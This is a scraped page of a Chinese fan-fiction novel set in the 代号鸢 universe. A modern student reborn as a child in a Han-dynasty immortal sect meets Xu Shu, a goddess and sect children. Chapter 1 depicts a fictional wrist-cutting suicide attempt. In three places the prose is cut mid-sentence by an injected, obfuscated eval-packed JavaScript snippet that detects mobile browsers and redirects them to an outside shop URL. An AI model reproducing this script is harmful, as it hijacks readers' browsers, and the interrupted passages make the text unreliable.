《[代号鸢]其实人家最近在东汉末年当魔法少女啦》 1. 初来1 “确认……” “坐标已确认……” “这次绝对不能……” ……什么声音? 头痛得快炸开了…… 眼前怎么一片漆黑,不小心在车上睡着了? 咚。 咚咚。 咚咚咚咚咚咚咚咚咚咚!!!!!! “!!!”我猛地吸了一口气,从噩梦里惊醒过来。 又来了……这几年,经常做很可怕的噩梦。醒来不记得具体梦见了什么,只记得自己好像是在梦中死去了,然后就会被惊醒。 我死死捂着自己的心脏,想让它跳得慢些。 ‘啊!”突然一个细细的童音在我耳边响起。 我循声望过去,看见了一个陌生的小女孩。她圆圆的眼睛里还带着一些惊恐,应该是被我刚刚的样子吓到了。 你是谁…… 我没来得及问出口。因为她在看到我清醒过来之后,看起来非常高兴,转头飞奔了出去。 “前辈!她醒了!!前辈!!!” …… 我从床上坐起来,愣愣看着眼前的一切。 我所在的房间是个看起来古色古香的卧房。房间整体呈一个长方形,我睡在房间的短边,在最里侧,一个被帷帐笼罩起来的矮床上。床边有一个落地梳妆台,桌上摆着一个不小的铜镜。 窗户开在梳妆台对面,没有阳光,今天是个阴天。 我又看向小女孩飞奔出去的方向——那里有一个屏风,坐在床上,看不见大门和房间另一侧的样子。 我这是……在一个古装剧剧组里?为什么会在这? 记忆出现了断片。我不安地想。 到底是什么时候昏过去的,一点印象都没有。最后的记忆是我坐在拼车后座刷手机,出租车甚至没关窗户,因为天气不错,其他乘客和司机都把身边的窗户打开吹着晚风。 在离家只有两公里的地方!这到底是怎么回事! 过了一会儿,一个女人进来了。 那个女人身材高大,皮肤是健康的小麦色,一身蓝白相间的古装。她很年轻,看起来三十左右,瓜子瘦脸上一双锋利有神的眼睛。 这就是那个小女孩口中的前辈……?话又说回来这个称呼也太奇怪了吧,哪儿的人会让小孩这么叫大人? 她见我醒了,看起来松了一口气,走到我身边,在床边坐下。 ?怎么一上来就挨得这么近?我本能地觉得与陌生人坐得这么近很不自在,下意识往里挪了挪。 但这个女人好像没注意到我的肢体语言,见我往里坐,她也顺势往里一坐,把我搂了过去。 ! 这是在干什么? ……等等。 我此时才注意到一件事。 这个女人可能本来就算高个子,但是…… 她过于高了。我在她怀里,脑袋只到她胸口。 我心里突然有了个可怕的,荒诞的猜测。 女人扶着我的肩膀,看着我,关切地开口:“怎么样梨梨,还有哪里不舒服吗?” 我仰头看她,只能愣愣地摇头。 等一下,那个铜镜—— 我挣脱她的怀抱,踉踉跄跄地跑到了梳妆台前。 明明是落地的设计却没有我预想的矮……我弯腰,把我自己的脸映到铜镜中。 你是……谁啊。 我问镜中人。可她不答,只是学习着我,脸上浮现着崩溃的表情。 —— 一觉醒来变成了另一个人。还是个小孩子。 如果是我的精神出了问题,可是什么样的精神疾病,能产生如此逼真且长时间的幻觉,还能让我保持理智的判断力? 如果不是我疯了……那眼前的一切,又该怎么解释呢。 我甚至不敢用那个词来概括自己的现状。可现实,就摆在我的眼前。 我来到了一个不知道朝代的古代。那个女人——她自我介绍说她叫徐庶,我和她,是一个名为“隐鸢阁”的仙门的修士。 ……这都什么乱七八糟的。我完全不感兴趣,我也不想听她说那些跟我无关的事情。 我只想知道这场噩梦什么时候能醒。我的寒假才刚刚开始,爸妈还在家里等我…… 我就这么,哪里也没去,在这个房间里呆了一个星期。 ……我终于崩溃了。 为什么为什么为什么!!我又一次从睡梦中醒来,眼前还是这顽固的幻觉,在眼前消散不去。 我把房间里一切能砸的全都砸了个遍。但是这个身体太年幼,力气太小,实际上也没能造成什么大的破坏。 为什么触感这么逼真,为什么它们被毁掉了也不会消失!! ……我为什么,还在这个莫名其妙的地方。 某天的半夜,我突然明白了。 从噩梦里清醒过来的方法……我不是一开始就知道了吗? 我从床上爬起来,越过徐庶,走到房间的另一侧。 屏风后,放着她的佩剑。 我轻轻拉出一截,在手腕上,斜着,狠狠地划了一刀。 …… 太阳温暖的光,洒在我的脸上。 我躺在地上,爬不起来,也睁不开眼睛。 我听见了一声叹息。 你是谁啊。 发出叹息声的人张口了。 “吾是引导你的人。” 听不懂你在说什么…… “吾有任务,需要你来完成。你要达成你的使命。若能证道,即可飞升神界,来吾身边。” 原来是神啊。 可是我去神界干嘛呢。 我爸妈在人间等我。您还是另寻他人帮您完成使命吧。我想回家去。 ……没办法回家去的话,就让我这么睡下去吧。 神沉默了一会儿,接着,她又开口道: “你曾经的身体已经因故离世了。抱歉,吾确实无法将你送回你来的地方。但你的灵魂资质很特殊,且还很年轻,吾不愿你就这么消散在宇宙间。” “这是一个重生的机会。吾耗费了许多神力,将你的灵魂安置在此处。” “希望你能冷静地考虑一下。如果改变心意,可以选择一个无人之处,在心底呼唤吾。吾会告诉你更多。” 我睁开了眼睛。 刚刚转醒,就闻到了一股刺鼻的药味。我的左手腕上绑着厚厚的布,布下似乎是什么药粉。 徐庶在我身侧躺着。感觉到我醒过来的动静,她立刻睁开了眼睛,但她没敢跟我说话,只是担忧地看着我。 怎么会有这么荒谬的事情。我竟然差点死了第二次。 我把脸埋进了她怀里,再也无法承受的眼泪终于流了出来。 她轻拍着我的背,很体贴地,什么都没问。 —— 加入了奇怪的仙门。 此时的我还不知道,经过后面几年的观察,我发现整个仙门根本没啥人认真修炼。大多数人给人的感觉都只是在门派里混吃等死,找个由头虚度人生。 加入了奇怪的师门。 一般师门传承都是有很正规的流程之类的不是吗,要考验资质、入师门之后要专门跟着自己的师父修炼……我看着徐庶和另一个银发男人在饭桌上左商量右商量,极其随便地就决定了我以后要跟着徐庶学剑术。 “以后要每天努力练习哈梨梨!小宝和辩儿比你先开始几个月,你们多切磋切磋!” 我看向小宝和辫儿(对,我直到很久之后才知道是那个“辩”),一个是那天在我床前守着我醒来的小女孩,和另一个不知为何会投来自以为恶狠狠但其实看起来很好欺负的表情的年龄更大一点的小女孩。 ……是晚上被徐庶一起塞进浴桶里洗澡的时候才知道他是小男孩。 我只好点头,暂时放下了为什么他们两个是那个银发男人的徒弟但是要跟着其他师父学剑术的疑惑。之前不管不顾一通闹自杀实在太瞩目,那个还能勉强解释为突然得了疯病又突然好了,要是再表现得思维异于常人,恐怕会被当作异类对待。 总之先知道了自己小名叫梨梨,这个身体大概是五六岁的样子。 第二天一大早先是体能训练,结束后徐庶教了剑法。先从架势学起,三个小孩站在一片平地上晃晃悠悠地舞着木剑,第三视角看起来应该有点好笑。 这练起来和广播体操的感觉差不多……我一边记动作一边想,手上舞着,但心里完全在打谱其他的事。 剑法是一定要好好学的。虽然不知道具体是什么朝代,但是不管是什么朝代都少能遇到为民做主的父母官,古代基层官员贪污受贿欺压百姓才是基操,真遇到事情了自己的武力值才比较可靠。 其他的最要紧的……就是靠什么为生了。 这个难办太多了。我皱着眉头想。不知道除了剑术门内还会教什么,只学剑术若是能学出门道来,武力值上去了或许能当个镖师?总不能落草为寇吧……或许去给大家族当保镖……感觉都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536093|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是超级危险的工作啊…… ……好讨厌古代。我现在是个即无父无母又无田无宅的孤女,食物链底层中的底层,别说体面,像样点的工作都轮不到我。卖命挣来的钱不一定有命花,必须得想点其他办法…… 呃啊!难道还有比这更糟糕的情况吗! “今天就练到这里了猫猫头们!”徐庶突然出现宣布今天的训练结束,小宝高兴地扑到她怀里问中午吃什么好吃的,听了徐庶的回答又瘪嘴不高兴说不爱吃蔬菜嘛…… 不知不觉一上午竟然过去了。我一直在发呆想事情,完全没跟与我“同龄”的两个孩子交流。他们两个中途就偷懒没在练了,躲在一边说悄悄话。 这会儿那个女孩跟着徐庶走远了,我转头看向另一个男孩,打算叫上他一起走。 但是他抱着手臂,气鼓鼓地站在那里。 ?和那个女孩吵架了?不像啊……我远远地喊他:“要吃午饭了哦,你不回去吗?” “你,不许和我说话!” “……为什么呀?” “因为我讨厌你!” 谢谢你宝贝,但是我已经有讨厌的东西了。我现在恨不得炸了这个不给我活路的勾柿古代! “你为什么讨厌我呀?”但嘴上还是很诚实地决定化解矛盾,我这样问他。 他气鼓鼓地走过来,走近了我才发现他个头要稍高一些。我和那个女孩看起来还是幼儿园小朋友,但这个男孩看起来已经有一二年级的小学生的样子了。 他看着我,仔细端详了一会儿,越看越生气,几乎要哭了,瘪着嘴说:“我才是最漂亮的!!!” ……这是在说什么? 见我发着呆不接他的话,他更生气了,跺着脚发脾气:“我才是最漂亮的!她最好的朋友是我!才不跟你是好朋友呢!” “哦哦,她跟我是假玩的,跟你才是真玩,对吧?” 我随口顺着他的话哄了哄,他愣住了,好像是没想到我会这么说,憋了半天,小声说了句“对。” “那好吧。那既然这样,你就不用讨厌我了吧?毕竟你才是她最好的好朋友,我只是第二名。” 他彻底呆住了,低着头开始缴着自己的小手,好像很不好意思的样子。 “……她还有很多好朋友。” “是吗?她的好朋友都有谁呀?”我见他冷静下来了,悄悄拽住他的衣袖把他往徐庶离开的方向带。 “有华佗师兄,他比我们大好多,力气很大,爬树也很快。还有那个那个师兄……那个那个师弟……” 他掰着小手指头,一边说一边数。说她和师兄弟们上好高好高的树上掏鸟蛋,那棵树太高了,他不敢上去,只好在树下等着。说她和师兄弟们躲在树丛里装鬼吓唬过路的师叔们,这个难度不高,他也参与了,但是惹到了一个脾气很坏的师叔,被提溜着骂了一顿…… 我随口应付着,都是一些孩子恶作剧的游戏,不过大概能得知同龄的师兄弟们几乎都是男孩子。大概这个年代,一般出身不错的女孩都会养在家里仔细教养,不会送来这种奇怪的门派疯玩吧。 ……听着听着心拔凉,感觉是个老师不管不问,只顺着纨绔们好跟他们的父母收钱的无良门派。 前面没有特意提过的一件事。这个门派虽然给人感觉不太正规,但外表的花架子看起来还是很气派的。不时能看到山下来来往往的师门同修们,还有一座座连绵不绝,坐落在山林中的宫楼庙宇。 我和辩儿身上穿着的衣物看起来都是新衣,非常精致合身,一看便知不是这个年代的平民百姓消费得起的。 这样的门派……只能寄希望于他们对发展副业比较上心,能蹭到一点生存技能是一点…… 突然我反应过来了一件事。一件不应该被我忽略的事。 我猛地回头抱住辩儿的双臂问:“你……你刚刚说你哪个师兄力气很大?” 辩儿正说着和她摘果果吃的事情,被我这么一吓愣住了,喃喃回到:“华……华佗师兄呀……” “啊……没什么……”我一手摸上了他的头给他顺顺被我吓得炸起来的毛,心里连连惊呼卧槽。 华佗不会是……那个华佗吧!不是重名?如果不是重名的话…… 我一直想知道我到底到了哪个朝代,试图用我不太丰富的历史知识给我自己找条活路。 我似乎已经,找到我在历史上的坐标了。 公元两百年左右,距离我的故乡接近两千年之遥。 东汉末年。 2. 初来2 有*表示有注释 ——————————————————————— 所以说言出法随,人活在世上真是不能说丧气话。 吃完午饭,我们被徐庶赶着去睡午觉。 实在是在意辩儿那句闹脾气的话……我走到房间的铜镜前,想仔细看看我现在的样子。 听他话里的意思,似乎是他觉得我的长相会威胁到他在朋友心中的地位。可他实在是个……哪怕是现在这个年纪,也能担得起一句“具稀世俊美”*的称赞,是个长得非常漂亮的小朋友。 普通长相的我不可能获得这样的评价的。 我再一次站到了镜子前。在看清自己如今的相貌之后,我的心情变得有些复杂。 说实话,如果不是现在这个处境,我大概会特别高兴吧。 毕竟不付出代价就获得了这样一张脸。 我与铜镜前映出的这张精致的脸对视。我动,镜中美人也跟着动。 这是一张与我曾经的脸相似度很高,但精致度更高的脸,也因为与我曾经的长相似是而非,看得久了竟有种解离的感觉。 ……比穿越回古代变成一个孤女未来没有指望更糟糕的情况竟然真的出现了。 这个垃圾出身,竟然配了这样一张脸。 不敢想象这个配置要过平静的一生得多难…… 我本来设想的当镖师当保镖之类的我本来不太中意的工作,可能都要因为这张脸泡汤了。真的会有人雇长得这么显眼的人当打手吗。 门口的徐庶看见我盯着镜子里的自己发呆,跑过来亲亲热热地搭着我的肩膀,镜中她的脸和我的脸贴在一起。 “看我们梨梨长得多漂亮!”她挪开脸用手温柔地捧着我的脸转向她,“眉眼跟当年卫后有几分相似呢,等长大以后一定也是大美人啊。” 她的眼睛看着我的眼睛,眼神里是不掺杂质的欣赏和柔和。只是和我对视久了,她的眼里渐渐浮上一层薄薄的不安。 我把头一瞥,闷闷地说:“但这份美丽最后也没有给她一个好的结局不是吗。” 我没再看她,自己爬上了自己的小床盖上了被子不动弹了。 她默默地,轻柔地走出了房间带上了门,好像我真的睡着了一样。我闭着眼睛,心里莫名生起一股烦躁。 我想更……更暴烈地……朝她发脾气,而不是像这样,哑火的炮仗一样。 这个想法真的很可怕。我又不是个真的不懂事的孩子,怎么可以迁怒她。 我只是……想借发火表达我的不安。我的害怕,我对未来的不确定,我想发泄出来。 好痛苦。 身体变成了柔弱的孩子,思维被身体影响了吗。 闭着眼睛胡思乱想,不一会儿竟然真的睡着了。 小的时候无知无觉,再次回到童年才感到时间如此漫长。 下午的时候两个孩子跑出去玩了,我醒来的时候,房间里只有我一个人。 窗纱被风轻轻吹动着,带来午后空气和草木的气息。幸好阳光足够柔和耀眼,散发着属于午后的成熟色彩。我翻身下榻,打算逃离开这种孤独的气氛。 离天黑还有一些时间,我不打算走得太远,我们居住的宫室附近有一片梨树林,我想去那里待一会儿。 顺便……联系一下那位神。 在某棵树下坐定,我试着闭上眼睛,在心中呼唤那位神。 感觉自己又来到了那种神秘的境界里。身周有薄雾缭绕,隐隐能听到有一些宏大神秘的梵音,十分遥远飘渺。天地之间的界限不再明晰,仿佛坐在地面上,又仿佛飘在半空中。 有点头晕…… “不要试图感知仔细,”那道曾经听过的女神的声音响起,“你现在还太微小,感知会让你受伤。” 我尽量放松下来,但仍是不敢睁开眼睛。没有睁眼就能直接感受信息,大脑有一种奇怪的通透感。我能感受到女神巨大的真身法相,以我的角度“看”过去,竟无法望到其边界。 “……您好。” “你好,小友。”女神的声音和蔼,“看起来,你已有决断了。” “是。虽然还是不知道到底发生了什么……我不再一心求死了。”我这样说着,右手不自觉攥住了左手。 这一切的一切,都太超乎我的认知了。 我生活的时代,神佛也好妖魔也罢,那都是人类在科学还未兴起的时代对一些自己无法理解的现象编造的东西,用来安抚自己的恐慌的故事而已。但如今我又是穿越回一千多年前,又是目睹神祇,世界观已经被炸得粉碎了。 ……还好我对世界的构成本就一知半解,不然这会儿san值已经掉光了…… 糟了,又开小差了。 女神身周的气息十分慈爱温暖。她似是知道我心中所想,没有指责我的不敬,而是静静等我的注意力被拉回,向她问出我的疑惑。 有很多想问的问题……不过最重要的果然还是…… “您说很看好我的资质,”我问道,“……请问是指什么呢?您需要我为您做什么事吗?” 女神轻轻笑了,像鸟儿振翅高飞,又像晚钟悠扬绵长的声音。她说道: “在回答你这个问题之前,先让吾介绍一下吾自己。” “吾乃上界职司人间治乱,平衡三千世界能量洄流,择有缘人平乱世、去邪祟之武神。” “召你来此世界,望你感悟教诲,斩妖除魔、惩恶扬善,还四海清平。” 神音浩浩荡荡,慈爱有力,温暖的海浪一般冲击着我的心。我感受到心中一些暴虐的情绪被慢慢抚平,重重压着我的一些东西轻了些。 很难以置信的感受。我静静聆听着她所讲述的一切。 接下来的一切都是我的转述,是我个人的理解。 据武神天尊所说,世界诞生之初,会由专门神祇负责“养育”,在混沌无序的世界中制定规则,等待生命降临。直到智慧生物问世,神祇点播教化,随后离开由他们自由生长。 三千宇宙,生命轮回,皆是如此。 但这个世界……出现了一些异常。 新生世界极其繁多,这个世界原本的母神已不知是哪位,而在母神离开世界后,这里的能量波动却极为异常。 一些本应与母神离去而渐渐失去力量的生命体,不知为何,能量依旧不散,且有被人心利用,为祸人间的风险。 得知此事后的武神天尊决定出手修正异常。只不过,她本身力量过于庞大,而这个世界的能量太弱小,她本尊亲至,世界有崩坏的风险。 因此才在就近的世界寻找品行资质都合适的无身魂魄,在此世界塑造肉身,选为代行使者,遵循其意志,将世界扶至正轨,待此业成,飞升神界。 “那个……稍等……呃不,不好意思,”我听明白了她的言下之意,心里十分震撼,“意思是说,我来到了另一个人间,已经不在地球上了吗?” “三千宇宙何其辽阔,你所在的世界,确实不是你从小长大的那个人间了。”女神回答道。 ……竟然当上外星人了! “我以为我穿越时空,回到了一千八百多年前。” “并非如此!”女神又笑了,“时间是无法倒流的。请谨记这一点。” 以及为什么不选身边手下作使者… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536094|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …女神说,她本来派遣了身边护法来此界,结果没想到那位护法突然失踪,已经许久联系不上了。她希望我能在完成那位使者的任务的同时找到她,并将她带回女神身边。 ……不是吧! 她传授给我一套功法,告诫我在一开始的练习中要日日来到我们见面的这个小世界中运行功法,在此处吸收灵气用来煅体。 女神离开了。我在运行完一周天之后,睁开了眼睛。 我回忆起徐庶教过的剑法,随手捡了一支树枝做剑舞起来。 此时才有了一些修仙的感觉。由神明塑造的肉身,与曾经人的身体相比更加轻盈通透。 每一处肌肉都很灵活,我试着加快速度并增大动作幅度,尽全力靠近她教的规范动作。在渐渐进入状态后,能感觉全身,不知是肌肉还是经络,热乎乎的,很通畅。头脑也很清明,吸收的灵气自丹田运转周身。 收招。我略平息了一下气息,突然听到树枝摇晃的声音,梨叶纷纷扬扬落下撒了我一身。 “哼哼!偷偷用功,被我逮到了吧!” 啊叶子太多了看不清……我用手挡着眼前纷乱的叶雨,想看清是谁在捉弄我。 叶雨落尽了,树上坐着的小女孩的身影清晰起来。她一身利落张扬的紫色练功服,坐在黑色的树枝上,居高临下地,笑容满面地看着我。 ……这熊孩子! 她从树上跳下来,拍掉身上蹭上的树皮,歪着头很好奇地打量着我。我不太懂她什么意思,但是一个孩子的审视倒也不至于让我躲避,只好和她大眼瞪小眼。 “徐神还不让我和你说话呢,切,她还以为你是什么妖怪呢。”小姑娘开口道,跑到我身边转着圈看我。 我知道徐庶不让她跟我说话的原因。我之前那个歇斯底里的样子,她一定是害怕我会伤到这个孩子。 “徐……神不让你理我,那你怎么还敢来跟踪我?”我扭头,视线对上已经转到我左后方的她,拿出了一种老妖怪的语气。 太可爱了,吓唬吓唬…… 她原地一跳,跳到我身前,双手叉腰道: “因为我知道你不是妖怪啊!”她大声说,“你是我捡回来的,是我的妹妹!” ……? “就在这儿!”她拍了拍梨树的树干,“你就是在这棵树下结成的果子里爬出来的!” ……天,这登场方式也太妖魔鬼怪了吧,我竟然没被那几个大人一剑弄死? 她看我一脸迷茫,脸上泛起一丝失望,小声嘟囔说:“果然忘了……” “但是没关系!”小孩子的情绪好像永远不会低落,她马上扬起眉毛说,“虽然不知道你为什么样子变了,毛毛都掉光了……但是不管你变成什么样子,你都是我的妹妹!” 毛毛!!什么情况!!我刚来到这个世界的时候竟然是个福瑞吗!! 这巨大的信息量炸得我大脑宕机,不过小女孩看起来很习惯我这样,她也不理会我,自顾自地说: “你还记得吗?你那天拉着我跑到这棵树下,拍拍树,又拍拍自己。我以为你想要梨子,上去给你采了,你吃完又拍,我又给了你一个,你不要了,就光拍拍。” “我猜了半天才明白你是在说自己叫什么!” 她开心地拉起我的手,注视着我的眼睛说道。 “梨树你终于醒了!我等你好久了!” ——————————————————————— 这句引用红楼梦 还是要给自己解释一下,我写这一章的时候刘辩的那个留音匣还没出,没想到就这么美美和鸟共脑了……真的不是我故意抄袭…… 3. 初来3 …… ……啊…… 已经早上了吗…… 感受到了阳光照在脸上微微发烫的感觉,我尽全力抬起了眼皮,看着帷帐顶发呆。 至于为什么一大早就是这么一副体力耗尽也必须要早起的苦命样,就不得不提起昨天的后续了。 那个小名小宝的小女孩相当高兴与我重新相认。似乎是山中与她同龄的女孩目前只有我一个,之前就经常两个人撇下其他人去玩。 为了“恢复我的记忆”,她带着我去了两个人曾经一起玩过的所有地方。 ……我就这么在经历了辛苦练习后,又被精力旺盛的小女孩带着在山上疯跑了一下午,最后是她的师尊,那位叫左慈的仙长来找才得以回去。 到最后怎么睡着的都忘记了……说起来我是怎么睡到床上来的…… 房门“吱呀”一声被推开,徐庶走进来坐在我床边,看到我躺在床上累到虚脱的样子“噗嗤”一下笑了,手搭在我的脑门上笑着说:“梨梨昨天累着了吧?” 我连开口的力气都没有,只是点了点头。她看起来很开心,把我从床上抱起来靠着她,“累一点好!小娃娃嘛,就是要天天跑啊闹啊,把身体锻炼得结结实实才好呢。” 她真的……对小孩子很有耐心。我靠在她的怀里想着。 昨天陪小宝玩的时候,她跟我讲了很多关于我的事情。 她说,她是一年前在师尊的云帝宫附近的梨树林里发现我的。刚刚发现时还以为是树下结了一个奇怪的果子,但仔细一看又好像是一块内里封着东西的琥珀,琥珀质地浑浊看不太清里面,她又拿不动,便没再注意。 等过了两三个月之后再去看,发现琥珀长大了,质地也变得透明。内里竟然出现了一个小生命。 “很可爱!”她拉着我的手开心地说,“我把手贴上去,你就游过来用脸蹭我!” 之后她每天都会跑到树林里偷偷找我聊天。一直到我从琥珀状的育儿袋里挣脱出来,以一个半兽半人的形态和她一起生活了一两个月。 这短短一两个月的时间,我就从刚出来时几乎是一只小兽的体态,渐渐发育成了五岁儿童的样子。并在某天突然陷入沉睡,全身的羽毛自然脱落,变成现在这副模样。 而我本人对这段时间一丝记忆也无。有可能是因为之前的这段时间属于这具身体的婴幼儿时期,大脑的发育还不完全,于是只有本能的反应,无法承载我拥有记忆的灵魂。 我把头埋进徐庶的怀里,不让她看见我的表情。 她……和那位左慈仙长,又是怎么看我的? 为什么不惊讶,不害怕?就这么自然而然地接受了我,一个妖怪……总不能是觉得我是个幼崽,所以动了恻隐之心吧……? 虽然看她的样子也不是没可能。 但是仅仅出于恻隐之心就能这么坦然地接受这么怪异的现象,居然还能把我当成人类的孩子一样对待,这个表现真的很不正常。 再加上女神传达给我的“使命”……平衡这个世界的能量,斩妖除魔…… 说明像我这样的“现象”,并不是孤例。这里是仙门,他们大概清楚更多内情,甚至有可能还有很多像我这样外表是人类的怪物,在若无其事地与人类共存着。 还有,神使的行踪…… 不知为何,女神没有详细地向我说明神使的具体特征,此人姓名、年龄,一概不知。祂只是告知我,神使是一名女性。 ……这要怎么找? 但女神看起来并不是刻意刁难我。只是告诫我首先要保证自己的安全,完成自身的修炼,解决这个世界的异常,寻找神使的任务只需尽力而为即可。 以及虽然没有这位神秘神使的其他信息,但她必定在这个星球各处留下了线索,找到她留下来的东西,我自然就能明白她是谁。 ……这个生存难度是不是有点太大了。我要在处处掣肘的社会制度中,既要养活自己,还要查到这个世界出了什么超自然异常现象,顺便还得找到那位除了知道是女性以外,身份年龄行踪一概不知的前任使者? ……啊,不要急,不要急,一样一样来。总之先想办法活下去,再慢慢打听情报…… 徐庶感觉到我在她怀里扭来扭去,想挣脱她下床,被我逗笑了。她捧起我的脸“吧唧”一口结结实实地亲在脸蛋上,“下床!去吃早饭了!” 思考得太多,现在才有空关心自己的现状。我和徐庶住在云帝宫的某个偏殿,是个景观很雅致的四合院。从房间出来后,我站在屋檐下,看着徐庶走到庭院里的水井旁打水给我洗漱。 水井的样式是中国北方传统的泵水式水井,没有井口,地面上的结构是一根碗口粗细的水井,井口处有一个杠杆,杠杆联通内部的结构,用水时压动杠杆把水从地下抽上来。 但这里的生态环境也不像是在纬度很高的地方。我看向院外树一样高、郁郁葱葱的竹林。竹子这种植物在纬度比较高、气候比较寒冷的北方很难形成如此茂盛的生长态势。我在内蒙长大,在北京上大学,从小到大甚至没怎么见过竹子。 不只是竹子,各种植物生长得都很茂盛。现在应该是夏天,但是这两天的天气并不闷热,反而很凉爽,猜测是因为我们所处的海拔较高。 是个夏季气候很宜人的地方。就是不知道冬天会不会很冷…… 总之,根据这些自然景观和天气判断,我应该处于这颗星球离赤道较近,离极点略远的中纬度地区。 这实在是……太不可思议了。 如果不是那位女神告诉我我已经不在地球上了,只靠我自己,大概根本不会注意到我竟然在不知不觉间成了一个“外星人”。 这个星球……甚至也有类似日月的星球,所处的星系应该跟太阳系高度相似。而这颗星球本身的重力、含氧量这些能直接感受到的环境特征也跟地球大差不离。 甚至连文化都…… 我看着面前风格熟悉的古代建筑。没想到都当上外星人了,竟然还处在中国文化里。 熟悉的文化环境让我心里没有那么惊慌了。虽然不太清楚为什么这个星球好像地球的翻版一样存在着……可能建造这个世界的母神来自地球……? “发什么呆呢?” 徐庶端着木盆走过来,捏了捏我的脸。我赶紧摇了摇头表示没有发呆,有注意到她。她用毛巾沾了水拧干给我擦脸,动作……很粗暴,一点都不温柔! 被她擦过一遍后我感觉我额前的头发都被搓得炸起来了……我看她还打算来第二遍,赶紧蹲下用手捧着水开始自己洗。 “哈哈哈哈哈……哈哈哈哈哈哈哈哈……梨梨你的头发……哈哈哈哈哈哈哈……” 徐庶蹲在地上,笑得整个人要后仰着躺下去了,完全没有把我的头发弄成这样的罪魁祸首的自觉。我用手捞起一点点水往她身上洒,不想让她继续笑我了。 她明明蹲着,躲开的动作却极为快速灵巧,我还没反应过来——甚至我泼出去的水珠可能也没反应过来,她就已经从我对面一跃挪到我身边了。 我去……武林高手!! 可能我震惊的表情取悦到她了。她揉了揉我的脑袋道:“师父厉不厉害?” 我猛点头。 “好好练功!梨梨也能这么厉害!长大了当个大侠,行走江湖快意恩仇!” 会好好练功的,但当大侠就免了,我还是喜欢市井高手的剧本…… 顺便把身上也洗过一遍,回屋换下湿衣服,我和徐庶往主殿走。 这会儿应该是早上的六七点,空气里弥漫着夜晚刚刚消散的微凉气息,远处有“咕咕咕”的鸟鸣声。我拉着徐庶的手小心翼翼地走——刚刚出来的时候因为习惯了在现代社会平整的地面上大步流星,忘记了古代的路材质基本上是泥土和石头,相当崎岖不平,绊了好几跤。徐庶想抱着我走,但是…… 啊啊啊啊啊好丢脸绝对不要!!! 我和徐庶是最先到主殿的餐厅的,徐庶带着我直接落座了,等师尊带着小宝和辩儿来。我稍微松了一口气,因为今早浪费了不少时间,在来的路上我还在想万一来迟了怎么办。 毕竟……现在这个情况,应该算是徐庶带着我在她上司家蹭饭……之前不太清楚状况就算了,既然要开始新生活,就要接受自己的新身份。 “元直!来得好早!” 一个温柔的男声响起,我循声回头看去,一位陌生的仙长牵着辩儿进来了。他一身绿衣,身姿挺拔,俊秀眉眼间流露着温柔慈悲的气质。 说起来,徐庶也是呢……我看着新来的仙长那一头白发心想。明明看脸和神态,他们的年龄都只有三十上下,但每个人都是满头银丝。 我跳下凳子回头看着徐庶,等她跟我介绍。她却一时没看到我的眼神,热情地跟那人寒暄,“这次下山云游这么快就回来了!” “心里挂念着孩子们,在外面呆不住……”他向我们走过来,看到我后,伸出手搭在我的头上,“她就是那个新来的孩子吧。” 我点头。徐庶的手揽着我的肩膀对我说:“这位是史子眇,史君前辈。” “史君前辈好。” “好孩子。来,这个给你。” 他笑了,笑容像一团晒得蓬蓬的棉花。他从怀里掏出了一个草编的小蚂蚱递给我。那小蚂蚱编得极精巧,脑袋上还辫进去一朵小花。 真精致……我拎着小蚂蚱背上的草绳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536095|203813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上下晃动时翅腿乱颤,仿佛活物。 “谢谢史君前辈,我很喜欢。”我将小蚂蚱收进手心,向他露出惊喜的神色。 这样打完招呼后众人才落座。史君看了一眼低着头一言不发的辩儿,让他坐到了我的旁边。 ?这是怎么了。我试图看到他的脸,但是他头发太多了,像厚厚的海藻一样,把小脸埋得很深。 他比我大一些,那…… “辩儿哥哥你怎么了?怎么不理我?” 海藻动了。他的脑袋一点,闷声闷气地说,“……昨天你们出去玩了。” 啊,是因为没叫他生气了呢。 “昨天我一个人出去,碰巧遇到小宝姐姐,我们就一起去山里了。也没玩什么。” 我开口解释,告诉他不是故意不叫他。他终于不再当鸵鸟,把脑袋转过来,粉雕玉琢的小脸蛋上别扭的表情还没彻底消散。 “你为什么叫我哥哥呀。” “因为你比我大呀。” “……我不喜欢当兄长。当兄长要和父皇母后分开好远。” 呜哇……怎么触及到别人的心灵创伤了……避一下避一下…… “辩儿姐姐。” “为什么变成姐姐了!不对!我是男的!” 徐庶一拍大腿发出了一声惊天爆笑,史君捂着嘴把脸扭到一边,连殿内随侍的工作人员们都跟着笑出了声。 他忧愁的情绪就这么被我的胡言乱语一下子打散了。我伸手摸他的脑袋,安慰风中凌乱的他。 “你们在笑什么呀!”一个清亮的童音响起,众人看向声音传来的方向。 